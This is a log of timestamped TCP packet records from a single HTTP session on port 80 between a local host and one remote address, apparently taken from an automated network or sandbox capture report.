Feb 9, 2023 01:01:55.240293980 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.240324020 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.240336895 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.240353107 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.240381956 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.240396976 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.240413904 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.240442991 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.240459919 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.240473032 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.240500927 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.240516901 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.240530968 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.240560055 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.240580082 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.240588903 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.240618944 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.240632057 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.240649939 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.240674973 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.240694046 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.240701914 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.240731001 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.240747929 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.240758896 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.240808964 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.331355095 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.352641106 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.352700949 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.352730036 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.352757931 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.352771044 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.352787018 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.352814913 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.352816105 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.352843046 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.352874041 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.352874994 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.352899075 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.352922916 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.352925062 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.352952003 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.352957964 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.352977991 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.353003025 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.353012085 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.353028059 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.353051901 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.353070021 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.353076935 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.353102922 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.353111029 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.353127956 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.353152990 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.353173971 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.353177071 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.353202105 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.353212118 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.353230000 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.353255987 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.353279114 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.353286982 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.353302956 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.353327990 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.353337049 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.353352070 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.353363037 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.353377104 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.353400946 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.353409052 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.353425026 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.353450060 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.353461027 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.353476048 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.353501081 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.353527069 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.353528023 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.353553057 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.353560925 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.353579044 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.353604078 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.353625059 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.353626966 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.353652000 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.353658915 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.353676081 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.353699923 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.353708029 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.353724003 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.353748083 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.353754997 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.353775024 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.353799105 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.353818893 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.353825092 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.353849888 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.353872061 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.353873014 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.353897095 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.353904009 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.353921890 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.353945971 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.353955030 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.353970051 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.353993893 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.353998899 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.354018927 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.354048014 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.354070902 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.354072094 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.354096889 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.354104042 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.354123116 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.354146004 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.354168892 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.354170084 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.354195118 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.354207993 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.354219913 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.354243994 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.354260921 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.354268074 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.354295015 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.354312897 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.354320049 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.354345083 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.354356050 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.354370117 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.354393959 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.354412079 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.354418993 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.354443073 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.354453087 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.354465961 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.354491949 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.354501009 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.354516029 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.354541063 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.354552031 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.354566097 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.354589939 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.354612112 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.354613066 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.354636908 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.354645014 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.354664087 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.354686975 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.354707003 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.354728937 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.354758978 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.354788065 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.354806900 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.354815960 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.354825974 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.354844093 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.354868889 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.354895115 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.354907990 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.354921103 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.354944944 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.354947090 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.354974985 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.354999065 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.355021954 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.355042934 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.355065107 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.355084896 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.355107069 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.355115891 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.355128050 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.355154991 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.355184078 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.355190992 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.355210066 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.355236053 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.355236053 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.355261087 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.355273962 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.355288982 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.355313063 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.355336905 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.355338097 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.355362892 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.355375051 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.355390072 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.355415106 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.355431080 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.355443001 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.355468035 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.355482101 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.355495930 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.355523109 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.355549097 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.355551004 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.355576038 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.355586052 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.355602026 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.355638027 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.574968100 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.596151114 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.596200943 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.596256018 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.596280098 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.596290112 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.596309900 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.596332073 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.596342087 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.596370935 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.596400976 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.596421003 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.596430063 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.596460104 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.596472979 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.596489906 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.596498966 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.596519947 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.596545935 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.596575022 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.596591949 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.596601009 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.596625090 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.596630096 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.596656084 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.596672058 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.596683025 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.596709013 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.596725941 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.596735001 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.596760988 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.596784115 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.596786976 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.596815109 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.596838951 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.596843004 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.596873045 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.596887112 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.596901894 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.596930981 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.596957922 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.596982002 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.596985102 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.597011089 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.597013950 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.597043037 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.597054005 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.597070932 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.597098112 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.597125053 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.597137928 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.597153902 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.597181082 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.597187042 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.597209930 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.597220898 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.597239971 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.597268105 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.597276926 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.597295046 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.597321987 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.597347975 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.597368002 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.597374916 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.597398996 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.597402096 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.597428083 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.597451925 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.597455025 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.597477913 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.597492933 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.597503901 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.597527981 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.597538948 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.597558022 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.597583055 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.597606897 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.597634077 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.597659111 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.597661018 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.597683907 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.597690105 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.597708941 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.597722054 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.597749949 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.597778082 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.597795963 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.597805977 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.597832918 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.597834110 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.597870111 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.597878933 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.597899914 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.597928047 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.597955942 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.597965002 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.597985983 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.597999096 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.598015070 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.598026037 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.598043919 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.598062992 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.598073006 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.598102093 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.598129988 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.598141909 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.598157883 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.598170996 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.598186970 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.598212004 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.598236084 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.598258972 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.598278999 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.598284960 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.598310947 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.598320961 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.598336935 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.598361015 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.598370075 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.598388910 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.598416090 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.598428965 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.598448992 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.598476887 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.598505020 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.598515034 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.598535061 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.598552942 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.598566055 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.598596096 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.598615885 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.598623991 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.598654985 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.598663092 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.598684072 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.598731041 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.598754883 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.598761082 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.598790884 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.598818064 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.598840952 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.598845005 CET	80	49738	131.188.40.189	192.168.2.5
